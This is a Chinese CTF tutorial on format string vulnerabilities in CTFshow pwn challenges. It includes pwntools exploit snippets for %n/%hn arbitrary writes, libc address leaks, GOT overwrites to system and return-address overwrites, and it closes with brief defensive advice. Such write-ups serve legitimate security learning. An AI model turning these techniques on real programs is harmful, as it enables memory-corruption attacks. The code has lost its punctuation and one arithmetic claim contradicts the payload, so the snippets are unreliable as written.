CTFshow---格式化字符串漏洞实战:从基础到高级利用技巧

张开发
2026/4/10 14:48:32 15 分钟阅读

分享文章

CTFshow---格式化字符串漏洞实战:从基础到高级利用技巧
1. 格式化字符串漏洞基础入门格式化字符串漏洞是二进制安全领域中最经典的漏洞类型之一我第一次接触这类漏洞是在2015年参加某次CTF比赛时。当时面对一个简单的printf漏洞完全无从下手现在回想起来觉得特别有意思。这种漏洞的成因很简单当程序使用printf等格式化函数时如果允许用户控制格式化字符串参数就会产生安全风险。举个生活中的例子就像你去餐厅点餐服务员问要加什么调料正常情况下你应该回答加盐或加辣椒。但如果你突然说把你们店里的所有调料都拿出来这就相当于利用了格式化字符串漏洞。在计算机中常见的危险格式化符包括%x泄露栈内存%s读取任意地址内容%n向任意地址写入数据在CTFshow平台的PWN91挑战中我们能看到最基础的利用场景。题目要求将daniu变量修改为6通过调试可以发现格式化字符串的偏移是7。最终的exp如下from pwn import * context(log_leveldebug, archi386, oslinux) io process(./pwn) daniu 0x0804B038 payload p32(daniu) b%2c%7$hhn io.sendline(payload) io.interactive()这个payload做了两件事首先将目标地址压入栈中然后使用%hhn向这个地址写入值2通过%2c生成2个字符。由于hhn表示写入1字节最终daniu的值会被设置为246p32占4字节从而触发getshell。2. 内存泄露与地址计算实战格式化字符串真正强大的地方在于它能实现内存的任意读写。在PWN95这道题中我们需要先泄露libc地址然后修改GOT表实现攻击。这就像玩密室逃脱时先要找到关键线索libc地址才能解开最终的锁getshell。具体操作分为三个关键步骤确定偏移量通过输入%p.%p.%p...或%x%x%x...观察输出找到栈上可控数据的位置。在32位系统中通常从第6个参数开始是用户输入。泄露关键地址比如要泄露puts函数的真实地址可以构造puts_got elf.got[puts] payload p32(puts_got) b%6$s计算libc基址得到puts地址后用LibcSearcher查找对应版本puts_addr u32(io.recv(4)) libc LibcSearcher(puts, puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system)我在实际做题时发现一个坑点不同libc版本的函数偏移可能差异很大。有次比赛我用了错误的libc版本导致计算的system地址差了0x1000怎么都打不通。后来用LibcSearcher的多个结果逐一尝试才成功。3. GOT表改写的高级技巧掌握了地址泄露后就可以玩更刺激的操作——修改GOT表。这就像修改游戏存档的关键数据把攻击力10改成攻击力999。在PWN94中我们需要将printf的GOT表项改为system地址。这里有个重要技巧一次性写入4字节可能需要生成超长字符串比如写入0x080491a2需要打印1亿多个字符。更聪明的做法是分两次写入使用%hn2字节写入printf_got elf.got[printf] payload p32(printf_got2) p32(printf_got) payload b%2044c%6$hn # 写入高2字节 payload b%31740c%7$hn # 写入低2字节这个payload的精妙之处在于先写入printf_got2地址高2字节位置再写入printf_got地址低2字节位置%2044c会生成2044个字符加上之前已输出的8字节总共20520x804%31740c会生成31740个字符总共337920x8400 最终写入的值就是0x080484004. 综合利用与防御绕过在PWN100这道难题中题目设置了多重障碍关闭了标准输出、限制了格式化函数使用次数。这就像闯关游戏最后的Boss战需要组合多种技巧才能攻克。解题思路分为三个阶段绕过使用限制先用%n将限制计数器清零fmt_attack(b%7$n-%16$p) # 同时泄露栈地址计算关键偏移通过泄露的地址反推返回地址位置ret_addr int(io.recvuntil(b\n)[:-1],16) - 0x28精确覆盖返回地址使用%hn进行两字节写入payload1 b%3926c%10$hn.ljust(0x10,ba) payload1 p64(ret_addr)这种高级利用需要精确计算各种偏移我建议在本地调试时多用gdb的vmmap和telescope命令观察内存布局。有次我因为算错了一个偏移量导致payload总是segfault后来发现是忘了考虑栈对齐问题。格式化字符串漏洞的防御方法主要有使用printf(%s, buf)代替printf(buf)启用FORTIFY_SOURCE编译选项现代编译器会对%n做限制但在CTF比赛中这类漏洞依然常见且强大。掌握好格式化字符串就相当于拿到了二进制安全的万能钥匙能打开许多看似复杂的挑战。

更多文章